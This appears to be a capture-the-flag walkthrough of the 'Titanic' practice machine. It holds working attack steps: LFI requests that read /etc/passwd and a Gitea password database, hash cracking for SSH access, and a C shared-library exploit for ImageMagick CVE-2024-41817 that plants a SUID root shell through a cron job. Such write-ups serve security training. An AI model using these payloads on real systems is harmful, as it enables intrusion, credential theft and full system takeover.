Machine IP: 10.10.11.55

Target enumeration

As with any black-box engagement, the first step is a thorough enumeration of the target. I started with a SYN scan against all ports using nmap:

# Nmap 7.95 scan initiated Tue Jun 17 10:20:29 2025 as: /usr/lib/nmap/nmap -p- -oA scans/10.10.11.55 10.10.11.55
Nmap scan report for 10.10.11.55
Host is up (0.044s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Tue Jun 17 10:20:59 2025 -- 1 IP address (1 host up) scanned in 30.75 seconds

This revealed two open TCP ports:

  • 22/tcp (SSH)
  • 80/tcp (HTTP)

Service Version Detection

Next, I performed version and script scans on each open port.

SSH

# Nmap 7.95 scan initiated Tue Jun 17 10:22:13 2025 as: /usr/lib/nmap/nmap -sV -sC -p22 -oA scans/10.10.11.55-22 10.10.11.55
Nmap scan report for 10.10.11.55
Host is up (0.032s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_  256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jun 17 10:22:15 2025 -- 1 IP address (1 host up) scanned in 2.28 seconds

Result:

  • OpenSSH 8.9p1 on Ubuntu
  • No immediate vulnerabilities, but confirms the system is running Ubuntu.

HTTP

# Nmap 7.95 scan initiated Tue Jun 17 10:22:24 2025 as: /usr/lib/nmap/nmap -sV -sC -p80 -oA scans/10.10.11.55-80 10.10.11.55
Nmap scan report for 10.10.11.55
Host is up (0.020s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: titanic.htb

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jun 17 10:22:32 2025 -- 1 IP address (1 host up) scanned in 7.89 seconds

Result:

  • Apache/2.4.52 (Ubuntu)
  • Redirects to titanic.htb

Notably, Apache 2.4.52 has known HTTP request smuggling vulnerabilities (e.g., CVE-2022-22720), though they were not exploitable here. I added titanic.htb to /etc/hosts to follow redirects correctly.

Using whatweb to fingerprint the stack:

http://titanic.htb [200 OK] Bootstrap[4.5.2], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/3.0.3 Python/3.10.12], IP[10.10.11.55], JQuery, Python[3.10.12], Script, Title[Titanic - Book Your Ship Trip], Werkzeug[3.0.3]

The presence of Werkzeug indicates a likely Python Flask backend.

Inspecting the website

The homepage presents a “Book Your Trip” button, which leads to the download of a JSON file after submitting the form:

GET /download?ticket=df54e996-d1f1-44d5-ae07-807fb01e3b00.json

Main Page

Changing the ticket parameter to a system path might verify the presence of Local File Inclusion (LFI):

GET /download?ticket=/etc/passwd

Success - /etc/passwd was returned, confirming LFI. This revealed the developer user, whose home directory was /home/developer.

Using the same LFI, I retrieved the user flag from:

/home/developer/user.txt

user flag

Deeper enumeration

To escalate, I needed better access. Reviewing our prior findings:

  • Apache is running
  • Flask handles titanic.htb

Given the Apache running, there might be virtual hosts present on the machine. We could try to enumerate them using tools like ffuf or gobuster, however, having a working LFI, the first thing I tried was inspecting /etc/hosts. It revealed another virtual host:

127.0.0.1 localhost titanic.htb dev.titanic.htb

Accessing dev.titanic.htb

This subdomain hosted a Gitea instance with two repositories (flask-app and docker-config) by the user developer. While flask-app confirmed the LFI vulnerability, docker-config was more interesting.

It included a Docker Compose volume mapping:

/home/developer/gitea/data:/data

From Gitea’s documentation, the default DB backend is SQLite, meaning the entire user database could be retrieved via LFI.

Extracting Credentials

After running Gitea locally to determine file structure, I confirmed the SQLite DB location:

/home/developer/gitea/data/gitea/gitea.db

gitea-structure

I retrieved the database:

http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db

Using sqlite3, I dumped password hashes and salts:

sqlite3 gitea.db 'select passwd,salt from user;

These values, once converted to base64, were cracked with hashcat, revealing the password for the developer user.

Using this password with SSH for developer on the target gave us shell access.

Privilege Escalation

Initial checks (sudo, environment variables, LinPEAS) didn’t yield much. However, I discovered an interesting cron-like behavior - a script at /opt/scripts/identify_images.sh:

cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log

The metadata.log was being updated by root every minute. Combined with the ImageMagick version:

developer@titanic:/opt$ /usr/bin/magick -version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5) 
Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (9.4)

This version is vulnerable to CVE-2024-41817, which can be exploited if a malicious shared object (libxcb.so.1) is loaded from the current working directory.

Exploiting CVE-2024-41817

Based on the available PoC, I created a malicious shared library that copies /bin/bash and sets the SUID bit:

gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash");
    exit(0);
}
EOF

I dropped libxcb.so.1 into /opt/app/static/assets/images - the working directory used by the script.

After a minute, /tmp/bash appeared with the SUID bit. Running it with -p yielded a root shell:

/tmp/bash -p

root